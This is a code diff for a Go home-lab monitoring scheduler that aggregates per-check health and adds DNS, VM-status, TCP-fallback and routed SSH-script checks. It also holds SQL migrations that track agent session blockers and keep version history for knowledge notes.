// Still run housekeeping: a fleet with no enabled check_defs is
|
||||
// precisely the case coverageSweep exists to report, and returning
|
||||
// here would mean the one situation that most needs reporting is the
|
||||
// one situation that stays silent.
|
||||
slog.Debug("scheduler: no enabled check_defs")
|
||||
housekeeping(ctx, pool)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -105,7 +112,22 @@ func runCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDef
|
||||
q := sqlcgen.New(pool)
|
||||
start := time.Now()
|
||||
|
||||
result := executeCheck(ctx, cd)
|
||||
result := executeCheck(ctx, pool, cd)
|
||||
|
||||
// Stamp the run before processing the result: due-ness must advance even
|
||||
// when a check fails, or a permanently failing check would be re-run on
|
||||
// every pass instead of at its declared interval. last_health records THIS
|
||||
// check's own verdict, which is what makes the aggregation below possible.
|
||||
checkHealth := result.health
|
||||
if checkHealth == "" {
|
||||
checkHealth = "healthy"
|
||||
}
|
||||
if err := q.MarkCheckRun(ctx, sqlcgen.MarkCheckRunParams{
|
||||
EntityID: cd.EntityID,
|
||||
LastHealth: &checkHealth,
|
||||
}); err != nil {
|
||||
slog.Error("scheduler: mark check run", "entity", cd.EntitySlug, "error", err)
|
||||
}
|
||||
|
||||
latency := time.Since(start).Milliseconds()
|
||||
|
||||
@@ -137,16 +159,12 @@ func runCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDef
|
||||
|
||||
if result.signalKind == "" || result.health == "healthy" {
|
||||
resolveSignal(ctx, pool, cd.EntityID, targetID, cd.EntitySlug)
|
||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
||||
EntityID: targetID,
|
||||
Health: "healthy",
|
||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
||||
Details: []byte(`{}`),
|
||||
})
|
||||
if prevHealth != "" && prevHealth != "healthy" {
|
||||
emitSchedulerEvent(ctx, pool, "health.changed", targetID, "info",
|
||||
map[string]any{"slug": cd.EntitySlug, "from": prevHealth, "to": "healthy"})
|
||||
}
|
||||
// NOT unconditionally "healthy": this check passing says nothing about
|
||||
// the entity's other checks. Writing healthy here is what let one
|
||||
// passing probe erase a genuine failure reported by another — and,
|
||||
// alternating with a failing probe, produced 226 health flips an hour
|
||||
// on a host that was fine throughout.
|
||||
applyAggregateHealth(ctx, pool, q, targetID, cd.EntitySlug, prevHealth)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -167,22 +185,52 @@ func runCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDef
|
||||
return
|
||||
}
|
||||
|
||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
||||
EntityID: targetID,
|
||||
Health: result.health,
|
||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
||||
Details: []byte(`{}`),
|
||||
})
|
||||
_ = sig
|
||||
|
||||
if prevHealth == "" || prevHealth == "healthy" {
|
||||
emitSchedulerEvent(ctx, pool, "signal.raised", targetID, severity,
|
||||
map[string]any{"slug": cd.EntitySlug, "kind": result.signalKind, "evidence": result.evidence})
|
||||
}
|
||||
if prevHealth != result.health {
|
||||
emitSchedulerEvent(ctx, pool, "health.changed", targetID, severity,
|
||||
map[string]any{"slug": cd.EntitySlug, "from": prevHealth, "to": result.health})
|
||||
applyAggregateHealth(ctx, pool, q, targetID, cd.EntitySlug, prevHealth)
|
||||
}
|
||||
|
||||
// applyAggregateHealth sets the target's health to the worst verdict across
|
||||
// all of its enabled checks, and emits health.changed only when that aggregate
|
||||
// actually moves.
|
||||
//
|
||||
// Health is a property of the entity, but each check only ever observes one
|
||||
// facet of it — reachability, disk, a systemd unit. Letting whichever check
|
||||
// finished last overwrite the entity's health meant a host with six checks
|
||||
// reported whichever facet was sampled most recently, so one failing probe and
|
||||
// five passing ones oscillated forever instead of settling on "degraded".
|
||||
func applyAggregateHealth(ctx context.Context, pool *db.Pool, q *sqlcgen.Queries,
|
||||
targetID uuid.UUID, checkSlug, prevHealth string) {
|
||||
|
||||
health, err := q.WorstHealthForTarget(ctx, &targetID)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: aggregate health", "entity", checkSlug, "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
||||
EntityID: targetID,
|
||||
Health: health,
|
||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
||||
Details: []byte(`{}`),
|
||||
})
|
||||
|
||||
if prevHealth == health {
|
||||
return
|
||||
}
|
||||
severity := "info"
|
||||
switch health {
|
||||
case "down":
|
||||
severity = "critical"
|
||||
case "degraded", "stale":
|
||||
severity = "warning"
|
||||
}
|
||||
emitSchedulerEvent(ctx, pool, "health.changed", targetID, severity,
|
||||
map[string]any{"slug": checkSlug, "from": prevHealth, "to": health})
|
||||
}
|
||||
|
||||
// currentHealth reads the last recorded health for an entity, or "" if none.
|
||||
@@ -204,7 +252,6 @@ func emitSchedulerEvent(ctx context.Context, pool *db.Pool, eventType string, en
|
||||
// checkID matches how signals are keyed (UpsertSignal uses the check's own
|
||||
// entity id); targetID is the observed entity whose status this affects.
|
||||
func resolveSignal(ctx context.Context, pool *db.Pool, checkID, targetID uuid.UUID, slug string) {
|
||||
q := sqlcgen.New(pool)
|
||||
// Check if there's an open signal on this entity
|
||||
tag, err := pool.Exec(ctx, `UPDATE signals SET state = 'resolved', updated_at = now()
|
||||
WHERE entity_id = $1 AND state = 'raised'`, checkID)
|
||||
@@ -214,14 +261,12 @@ func resolveSignal(ctx context.Context, pool *db.Pool, checkID, targetID uuid.UU
|
||||
if tag.RowsAffected() > 0 {
|
||||
emitSchedulerEvent(ctx, pool, "signal.resolved", targetID, "info",
|
||||
map[string]any{"slug": slug})
|
||||
slog.Info("scheduler: signal resolved", "entity", slug)
|
||||
}
|
||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
||||
EntityID: targetID,
|
||||
Health: "healthy",
|
||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
||||
Details: []byte(`{}`),
|
||||
})
|
||||
slog.Info("scheduler: signal resolved", "entity", slug)
|
||||
// Deliberately does NOT write health. Resolving THIS check's signal says
|
||||
// nothing about the target's other checks; the caller re-derives health
|
||||
// from all of them. Forcing "healthy" here was a second path by which one
|
||||
// passing probe erased another probe's genuine failure.
|
||||
}
|
||||
|
||||
// checkResult bundles the outcome of a single check execution.
|
||||
@@ -233,8 +278,10 @@ type checkResult struct {
|
||||
err error
|
||||
}
|
||||
|
||||
// executeCheck dispatches to the appropriate checker by kind.
|
||||
func executeCheck(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
// executeCheck dispatches to the appropriate checker by kind. pool is needed
|
||||
// by the ssh-script path, which resolves the target's execution endpoint
|
||||
// (guests route through their Proxmox host; see internal/remote).
|
||||
func executeCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
switch cd.Kind {
|
||||
case "http":
|
||||
return checkHTTP(ctx, cd)
|
||||
@@ -244,10 +291,16 @@ func executeCheck(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) check
|
||||
return checkDisk(ctx, cd)
|
||||
case "cert-expiry":
|
||||
return checkCertExpiry(ctx, cd)
|
||||
case "vm-status":
|
||||
return checkVMStatus(ctx, pool, cd)
|
||||
case "ping":
|
||||
return checkPing(ctx, cd)
|
||||
case "ssh-script":
|
||||
return checkSSHScript(ctx, cd)
|
||||
return checkSSHScript(ctx, pool, cd)
|
||||
case "backup-freshness":
|
||||
return checkBackupFreshness(ctx, cd)
|
||||
case "dns":
|
||||
return checkDNS(ctx, cd)
|
||||
default:
|
||||
return checkResult{health: "unknown"}
|
||||
}
|
||||
@@ -265,6 +318,7 @@ func housekeeping(ctx context.Context, pool *db.Pool) {
|
||||
}
|
||||
|
||||
staleSweep(ctx, pool)
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
// Log housekeeping completion
|
||||
slog.Debug("scheduler: housekeeping done", "pruned_idempotency_before", cutoff.Format(time.RFC3339))
|
||||
@@ -337,9 +391,14 @@ func checkHTTP(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
cfg := struct {
|
||||
URL string `json:"url"`
|
||||
ExpectedStatus int `json:"expected_status"`
|
||||
Insecure bool `json:"insecure"`
|
||||
// MaxStatus accepts a range instead of one exact code. Most services
|
||||
// sit behind Authentik and answer 302 or 401 — a working service, but
|
||||
// an exact-match on 200 reports it degraded and raises a signal.
|
||||
// Unset expected_status means "any response below MaxStatus is fine".
|
||||
MaxStatus int `json:"max_status"`
|
||||
Insecure bool `json:"insecure"`
|
||||
}{
|
||||
ExpectedStatus: 200,
|
||||
MaxStatus: 500,
|
||||
}
|
||||
if len(cd.Config) > 0 {
|
||||
_ = json.Unmarshal(cd.Config, &cfg)
|
||||
@@ -379,10 +438,17 @@ func checkHTTP(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != cfg.ExpectedStatus {
|
||||
if cfg.ExpectedStatus != 0 {
|
||||
if resp.StatusCode != cfg.ExpectedStatus {
|
||||
return checkResult{
|
||||
health: "degraded", signalKind: "http",
|
||||
evidence: fmt.Sprintf("GET %s returned %d (expected %d)", cfg.URL, resp.StatusCode, cfg.ExpectedStatus),
|
||||
}
|
||||
}
|
||||
} else if resp.StatusCode >= cfg.MaxStatus {
|
||||
return checkResult{
|
||||
health: "degraded", signalKind: "http",
|
||||
evidence: fmt.Sprintf("GET %s returned %d (expected %d)", cfg.URL, resp.StatusCode, cfg.ExpectedStatus),
|
||||
evidence: fmt.Sprintf("GET %s returned %d (expected below %d)", cfg.URL, resp.StatusCode, cfg.MaxStatus),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -420,6 +486,53 @@ func checkTCP(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResu
|
||||
return checkResult{health: "healthy"}
|
||||
}
|
||||
|
||||
// checkDNS verifies a DNS name resolves, catching a stale or unreachable
|
||||
// zone. It looks up NS records first (a zone always has NS), falling back to
|
||||
// an A/AAAA lookup for hostnames. Uses the system resolver; for split-horizon
|
||||
// correctness reserve an explicit `server` in the config.
|
||||
func checkDNS(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
Name string `json:"name"`
|
||||
Server string `json:"server"`
|
||||
}{}
|
||||
if len(cd.Config) > 0 {
|
||||
_ = json.Unmarshal(cd.Config, &cfg)
|
||||
}
|
||||
if cfg.Name == "" {
|
||||
return checkResult{health: "healthy"}
|
||||
}
|
||||
|
||||
// Resolve via an explicit server when supplied (split-horizon), else the
|
||||
// system default resolver.
|
||||
lookup := func(q string) (int, error) {
|
||||
r := &net.Resolver{}
|
||||
if cfg.Server != "" {
|
||||
r = &net.Resolver{PreferGo: true, Dial: func(ctx context.Context, network, _ string) (net.Conn, error) {
|
||||
d := net.Dialer{Timeout: 5 * time.Second}
|
||||
return d.DialContext(ctx, network, net.JoinHostPort(cfg.Server, "53"))
|
||||
}}
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
ns, err := r.LookupNS(ctx, q)
|
||||
if err == nil && len(ns) > 0 {
|
||||
return len(ns), nil
|
||||
}
|
||||
addrs, err2 := r.LookupHost(ctx, q)
|
||||
return len(addrs), err2
|
||||
}
|
||||
|
||||
n, err := lookup(cfg.Name)
|
||||
if err != nil || n == 0 {
|
||||
return checkResult{
|
||||
health: "down", signalKind: "dns",
|
||||
evidence: fmt.Sprintf("DNS resolution failed for %q: %v", cfg.Name, err),
|
||||
err: err,
|
||||
}
|
||||
}
|
||||
return checkResult{health: "healthy"}
|
||||
}
|
||||
|
||||
// checkDisk performs a disk usage check.
|
||||
func checkDisk(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
@@ -462,8 +575,8 @@ func checkDisk(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
if usedPct > float64(cfg.ThresholdPct) {
|
||||
return checkResult{
|
||||
health: "degraded", signalKind: "disk",
|
||||
evidence: fmt.Sprintf("%s %.1f%% full (threshold %d%%)", cfg.Path, usedPct, cfg.ThresholdPct),
|
||||
metrics: metrics,
|
||||
evidence: fmt.Sprintf("%s %.1f%% full (threshold %d%%)", cfg.Path, usedPct, cfg.ThresholdPct),
|
||||
metrics: metrics,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -474,6 +587,12 @@ func checkDisk(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
Host string `json:"host"`
|
||||
// Dial is an optional explicit dial address (the TLS terminator's IP)
|
||||
// for when the hostname doesn't resolve/reach from the scheduler — the
|
||||
// container has no mesh interface and the host resolver doesn't know
|
||||
// the split-horizon zone, so *.hubris.network dials Caddy's lab IP
|
||||
// directly while SNI/cert-read still uses Host.
|
||||
Dial string `json:"dial"`
|
||||
Port int `json:"port"`
|
||||
WarnDays int `json:"warn_days"`
|
||||
CritDays int `json:"crit_days"`
|
||||
@@ -494,9 +613,13 @@ func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) ch
|
||||
timeout = 30 * time.Second
|
||||
}
|
||||
|
||||
addr := net.JoinHostPort(cfg.Host, fmt.Sprintf("%d", cfg.Port))
|
||||
dialHost := cfg.Host
|
||||
if cfg.Dial != "" {
|
||||
dialHost = cfg.Dial
|
||||
}
|
||||
addr := net.JoinHostPort(dialHost, fmt.Sprintf("%d", cfg.Port))
|
||||
|
||||
d := tls.Dialer{Config: &tls.Config{InsecureSkipVerify: true}}
|
||||
d := tls.Dialer{Config: &tls.Config{InsecureSkipVerify: true, ServerName: cfg.Host}}
|
||||
conn, err := d.DialContext(ctx, "tcp", addr)
|
||||
if err != nil {
|
||||
return checkResult{
|
||||
@@ -541,11 +664,61 @@ func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) ch
|
||||
return checkResult{health: "healthy", metrics: metrics}
|
||||
}
|
||||
|
||||
// checkVMStatus reports whether a VM is powered on, via `qm status <pve_id>`
|
||||
// run on its Proxmox host. This is the right reachability probe for a VM that
|
||||
// blocks ICMP (haos) and has no guest agent: it doesn't need the VM's network
|
||||
// at all — "status: running" means the VM is up. The command runs on the host
|
||||
// (not inside the VM), so it uses the host's address with identity wrap.
|
||||
func checkVMStatus(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
if cd.TargetID == nil {
|
||||
return checkResult{health: "unknown", evidence: "vm-status needs a target VM"}
|
||||
}
|
||||
var pveID, hostAttr string
|
||||
if err := pool.QueryRow(ctx,
|
||||
"SELECT attributes->>'pve_id', COALESCE(attributes->>'host','') FROM entities WHERE id = $1",
|
||||
*cd.TargetID).Scan(&pveID, &hostAttr); err != nil || pveID == "" {
|
||||
return checkResult{health: "unknown", signalKind: "vm-status",
|
||||
evidence: fmt.Sprintf("vm %s has no pve_id", cd.EntitySlug)}
|
||||
}
|
||||
hostSlug := remote.ResolveProxmoxHostSlug(ctx, pool, *cd.TargetID, hostAttr)
|
||||
addr, user, err := remote.ResolveHost(ctx, pool, hostSlug, sshUser)
|
||||
if err != nil {
|
||||
return checkResult{health: "down", signalKind: "vm-status",
|
||||
evidence: fmt.Sprintf("resolve proxmox host for %s: %v", cd.EntitySlug, err), err: err}
|
||||
}
|
||||
|
||||
timeout := time.Duration(cd.TimeoutS) * time.Second
|
||||
if timeout <= 0 {
|
||||
timeout = 15 * time.Second
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
out, err := sshExec(ctx, addr, "22", user, "qm status "+pveID, timeout)
|
||||
if err != nil {
|
||||
return checkResult{health: "down", signalKind: "vm-status",
|
||||
evidence: fmt.Sprintf("qm status %s on %s: %v", pveID, addr, err), err: err}
|
||||
}
|
||||
// `qm status <id>` prints "status: running" (or stopped/paused).
|
||||
if strings.Contains(string(out), "status: running") {
|
||||
return checkResult{health: "healthy"}
|
||||
}
|
||||
trimmed := strings.TrimSpace(string(out))
|
||||
if trimmed == "" {
|
||||
trimmed = "(no output)"
|
||||
}
|
||||
return checkResult{health: "down", signalKind: "vm-status",
|
||||
evidence: fmt.Sprintf("%s not running: %s", cd.EntitySlug, trimmed)}
|
||||
}
|
||||
|
||||
// checkPing performs an ICMP ping check using the system ping command.
|
||||
func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
Host string `json:"host"`
|
||||
Count int `json:"count"`
|
||||
// Port for the TCP fallback below. Defaults to 22; set it for hosts
|
||||
// that answer on something else (a Home Assistant VM has no sshd).
|
||||
Port int `json:"port"`
|
||||
}{}
|
||||
if len(cd.Config) > 0 {
|
||||
_ = json.Unmarshal(cd.Config, &cfg)
|
||||
@@ -579,9 +752,26 @@ func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
// ICMP failing does not mean the host is down — it may mean ICMP is
|
||||
// simply unavailable from here. On this deployment the scheduler runs
|
||||
// in Docker on macOS, whose VM network stack does not route ICMP to
|
||||
// the LAN: loopback pings succeed, every LAN ping fails, and all seven
|
||||
// ping checks reported "down" for hosts that were demonstrably up
|
||||
// (including the Docker host itself). Under health aggregation that one
|
||||
// broken probe was enough to drag each entity to down.
|
||||
//
|
||||
// The question this check exists to answer is "is it reachable", and
|
||||
// ICMP is only one way to ask. Fall back to a TCP connect before
|
||||
// concluding anything.
|
||||
if tcpReachable(ctx, cfg.Host, cfg.Port, timeout) {
|
||||
return checkResult{
|
||||
health: "healthy",
|
||||
metrics: map[string]float64{},
|
||||
}
|
||||
}
|
||||
return checkResult{
|
||||
health: "down", signalKind: "ping",
|
||||
evidence: fmt.Sprintf("ping %s: %v", cfg.Host, err),
|
||||
evidence: fmt.Sprintf("no ICMP or TCP response from %s: %v", cfg.Host, err),
|
||||
err: err,
|
||||
}
|
||||
}
|
||||
@@ -595,6 +785,24 @@ func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
return checkResult{health: "healthy", metrics: metrics}
|
||||
}
|
||||
|
||||
// tcpReachable reports whether a TCP handshake completes, used as the
|
||||
// reachability answer when ICMP is unavailable rather than unanswered.
|
||||
func tcpReachable(ctx context.Context, host string, port int, timeout time.Duration) bool {
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
if timeout <= 0 {
|
||||
timeout = 5 * time.Second
|
||||
}
|
||||
d := net.Dialer{Timeout: timeout}
|
||||
conn, err := d.DialContext(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
conn.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
var pingRttRe = regexp.MustCompile(`(?:rtt\s+min\/avg\/max\/mdev|round-trip\s+min\/avg\/max\/stddev)\s*=\s*[\d.]+\/([\d.]+)\/`)
|
||||
|
||||
func parsePingLatency(output []byte) float64 {
|
||||
@@ -609,13 +817,26 @@ func parsePingLatency(output []byte) float64 {
|
||||
return val
|
||||
}
|
||||
|
||||
// checkSSHScript executes an allowlisted script on a remote host via SSH.
|
||||
func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
// checkSSHScript executes an allowlisted script on a remote target via SSH.
|
||||
//
|
||||
// Routing follows the canonical access model (internal/remote): an LXC or VM
|
||||
// is NEVER SSH'd into directly — it is reached through its Proxmox host via
|
||||
// `pct exec`/`qm guest exec`, so a guest needs no lan_ip, sshd, or authorized
|
||||
// key of its own. Hosts and workstations are reached by direct SSH, resolved
|
||||
// live so a workstation's login (mac-mini: `user: dtoro`) is honored without
|
||||
// a re-seed. Services and other entities fall back to the host address baked
|
||||
// into check config at seed time (their hosting container's address).
|
||||
func checkSSHScript(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
User string `json:"user"`
|
||||
Script string `json:"script"`
|
||||
// Args is a single positional argument for the script. checkdefaults
|
||||
// has always written it for process_check.sh, but nothing read it —
|
||||
// so every process check ran argument-less and process_check.sh
|
||||
// answered "no service name provided" with health unknown.
|
||||
Args string `json:"args"`
|
||||
}{}
|
||||
if len(cd.Config) > 0 {
|
||||
_ = json.Unmarshal(cd.Config, &cfg)
|
||||
@@ -623,12 +844,6 @@ func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) che
|
||||
if cfg.Host == "" || cfg.Script == "" {
|
||||
return checkResult{health: "healthy"}
|
||||
}
|
||||
if cfg.Port == 0 {
|
||||
cfg.Port = 22
|
||||
}
|
||||
if cfg.User == "" {
|
||||
cfg.User = sshUser
|
||||
}
|
||||
|
||||
if !allowlistedScript(cfg.Script) {
|
||||
return checkResult{
|
||||
@@ -646,13 +861,56 @@ func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) che
|
||||
defer cancel()
|
||||
|
||||
scriptPath := "/opt/oikos/checks/" + cfg.Script
|
||||
port := strconv.Itoa(cfg.Port)
|
||||
if cfg.Args != "" {
|
||||
// Single-quote the argument so an entity name can never break out of
|
||||
// the remote command. The script name itself is allowlisted above.
|
||||
scriptPath += " '" + strings.ReplaceAll(cfg.Args, "'", `'\''`) + "'"
|
||||
}
|
||||
|
||||
output, err := sshExec(ctx, cfg.Host, port, cfg.User, scriptPath, timeout)
|
||||
// Resolve the execution endpoint. The resolver handles every target kind:
|
||||
// LXC/VM host-hop via pct/qm exec; hosts/workstations direct at their own
|
||||
// address; services route through their hosting compute entity (via the
|
||||
// provides edge) so a service check reaches the right machine with the
|
||||
// right user instead of baking an LXC lan_ip and SSHing it as root.
|
||||
host, port, user := cfg.Host, strconv.Itoa(oru(cfg.Port, 22)), orStr(cfg.User, sshUser)
|
||||
wrap := func(cmd string) string { return cmd }
|
||||
targetType := ""
|
||||
if cd.TargetType != nil {
|
||||
targetType = *cd.TargetType
|
||||
}
|
||||
// target_type was omitted by older writeCheck inserts, so resolve it from
|
||||
// the target entity when the column is blank — otherwise the guest routing
|
||||
// below (IsGuest) never triggers and a guest check falls back to its baked
|
||||
// (often mesh-only) address.
|
||||
if targetType == "" && cd.TargetID != nil {
|
||||
if err := pool.QueryRow(ctx, "SELECT type FROM entities WHERE id = $1", *cd.TargetID).Scan(&targetType); err != nil {
|
||||
targetType = ""
|
||||
}
|
||||
}
|
||||
if cd.TargetID != nil && targetType != "" {
|
||||
et, err := remote.ResolveExecTargetForCheck(ctx, pool, *cd.TargetID, targetType, sshUser)
|
||||
if err != nil {
|
||||
if remote.IsGuest(targetType) {
|
||||
return checkResult{
|
||||
health: "down", signalKind: "ssh-script",
|
||||
evidence: fmt.Sprintf("route guest %s: %v", cd.EntitySlug, err), err: err,
|
||||
}
|
||||
}
|
||||
// Non-guest: log the resolution failure so an opaque ssh "down"
|
||||
// doesn't hide that the real cause was host/user resolution, then
|
||||
// fall back to the baked config below.
|
||||
slog.Warn("scheduler: target resolution failed, using baked config",
|
||||
"entity", cd.EntitySlug, "target_type", targetType, "error", err)
|
||||
} else {
|
||||
host, port, user, wrap = et.Host, "22", et.User, et.Wrap
|
||||
}
|
||||
}
|
||||
|
||||
output, err := sshExec(ctx, host, port, user, wrap(scriptPath), timeout)
|
||||
if err != nil {
|
||||
return checkResult{
|
||||
health: "down", signalKind: "ssh-script",
|
||||
evidence: fmt.Sprintf("ssh %s:%s %s: %v", cfg.Host, strconv.Itoa(cfg.Port), cfg.Script, err),
|
||||
evidence: fmt.Sprintf("ssh %s:%s %s: %v", host, port, cfg.Script, err),
|
||||
err: err,
|
||||
}
|
||||
}
|
||||
@@ -690,6 +948,20 @@ func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) che
|
||||
}
|
||||
}
|
||||
|
||||
// oru returns v when nonzero, else def. orStr returns v when non-empty, else def.
|
||||
func oru(v, def int) int {
|
||||
if v != 0 {
|
||||
return v
|
||||
}
|
||||
return def
|
||||
}
|
||||
func orStr(v, def string) string {
|
||||
if v != "" {
|
||||
return v
|
||||
}
|
||||
return def
|
||||
}
|
||||
|
||||
var scriptNameRe = regexp.MustCompile(`^[a-z][a-z0-9_-]+\.sh$`)
|
||||
|
||||
func allowlistedScript(name string) bool {
|
||||
@@ -723,7 +995,6 @@ func sshExec(ctx context.Context, host, port, user, cmd string, timeout time.Dur
|
||||
return out, nil
|
||||
}
|
||||
|
||||
|
||||
// metricThreshold defines warn/crit thresholds for a single metric.
|
||||
type metricThreshold struct {
|
||||
Warn float64 `json:"warn"`
|
||||
@@ -759,4 +1030,4 @@ func evaluateSeverity(kind string, signalKind string, config []byte, metrics map
|
||||
return "warning"
|
||||
}
|
||||
|
||||
var _ = uuid.UUID{} // ensure uuid import stays
|
||||
var _ = uuid.UUID{} // ensure uuid import stays
|
||||
|
||||
35
migrations/021_session_blocker_and_closed_at.up.sql
Normal file
35
migrations/021_session_blocker_and_closed_at.up.sql
Normal file
@@ -0,0 +1,35 @@
|
||||
-- 021_session_blocker_and_closed_at.up.sql
|
||||
-- Track why a session ended partial/failed and when it actually closed.
|
||||
-- See plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||
--
|
||||
-- `blocker` is a short structured reason: "approval_timeout",
|
||||
-- "classifier_overreach", "user_abandoned", "tool_error", "model_refusal",
|
||||
-- etc. Set by complete_task when outcome is partial/failed, derived from the
|
||||
-- last assistant message's text. Empty for success outcomes.
|
||||
--
|
||||
-- `closed_at` is when the session reached its terminal state. Distinct from
|
||||
-- `last_active_at`, which is touched on any access (including the operator
|
||||
-- just opening the transcript) — `closed_at` is set ONCE at completion.
|
||||
-- Without it, "session duration" can only be computed as
|
||||
-- `last_active - created`, which lies for reopened sessions (a51e2086
|
||||
-- reported 4-day duration because the operator reopened it to close it).
|
||||
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS blocker TEXT NOT NULL DEFAULT '';
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS closed_at TIMESTAMPTZ;
|
||||
|
||||
-- Backfill closed_at for already-terminal sessions so the new column isn't
|
||||
-- NULL forever on existing rows. Use last_active_at as the best proxy — it's
|
||||
-- the most recent touch, which is the closest we have to "when it ended"
|
||||
-- for historical sessions. New sessions set closed_at explicitly on
|
||||
-- complete_task.
|
||||
UPDATE agent_sessions
|
||||
SET closed_at = last_active_at
|
||||
WHERE closed_at IS NULL
|
||||
AND status IN ('done', 'failed');
|
||||
|
||||
-- Index for "show me partial sessions in the last N days" — the common
|
||||
-- audit query. Covers the blocker column too so the planner can answer
|
||||
-- "blocker breakdown over the last week" with an index-only scan.
|
||||
CREATE INDEX IF NOT EXISTS idx_agent_sessions_closed
|
||||
ON agent_sessions (closed_at DESC)
|
||||
WHERE status IN ('done', 'failed');
|
||||
119
migrations/022_knowledge_revisions.up.sql
Normal file
119
migrations/022_knowledge_revisions.up.sql
Normal file
@@ -0,0 +1,119 @@
|
||||
-- 022_knowledge_revisions.up.sql
|
||||
-- Version history for knowledge_entities, so an edit can never be silently lost.
|
||||
--
|
||||
-- The concrete hazard this closes: the MCP tool `upsert_knowledge`
|
||||
-- (internal/mcp/server.go) keys on title and does
|
||||
-- `ON CONFLICT (entity_id) DO UPDATE SET content = EXCLUDED.content` —
|
||||
-- unconditionally. Before this migration, an operator hand-editing a note in
|
||||
-- the web UI would have that edit overwritten with no trace the next time
|
||||
-- Nomos re-upserted a note with the same title. There was no history table
|
||||
-- and no way to recover the prior body.
|
||||
--
|
||||
-- The snapshot is a BEFORE UPDATE **trigger** rather than application-level
|
||||
-- code in the HTTP handler, specifically because there are two independent
|
||||
-- writers: the web API (new in this change) and the MCP tool the agent uses.
|
||||
-- App-level snapshotting would only cover whichever path remembered to call
|
||||
-- it. A trigger covers both, plus any future writer and any manual psql fix.
|
||||
--
|
||||
-- Each row in knowledge_revisions is a *superseded* version: the state of the
|
||||
-- note before the update that displaced it. The current version always lives
|
||||
-- in knowledge_entities, never here, so "history" is
|
||||
-- knowledge_entities + knowledge_revisions ordered by version_at DESC.
|
||||
|
||||
-- Who authored the version currently in knowledge_entities. Distinct from
|
||||
-- `source`, which is overloaded: it holds either 'nomos-agent' (written via
|
||||
-- MCP) or a seed file path ('containers/101-jellyfin') and is NOT updated on
|
||||
-- conflict, so a seeded doc later rewritten by the agent still reports its
|
||||
-- original file path. edited_by answers the question the UI actually asks —
|
||||
-- "did a human or the agent last touch this?" — without disturbing source,
|
||||
-- which the seeding logic still relies on.
|
||||
ALTER TABLE knowledge_entities
|
||||
ADD COLUMN IF NOT EXISTS edited_by TEXT NOT NULL DEFAULT '';
|
||||
|
||||
-- Backfill: every existing row's last writer is whatever source says. For
|
||||
-- agent-written notes that's exactly right; for seeded notes it records the
|
||||
-- seed path, which is the honest answer (no human has edited them yet).
|
||||
UPDATE knowledge_entities
|
||||
SET edited_by = COALESCE(source, '')
|
||||
WHERE edited_by = '';
|
||||
|
||||
-- Soft delete. A hard DELETE would cascade knowledge_revisions away with the
|
||||
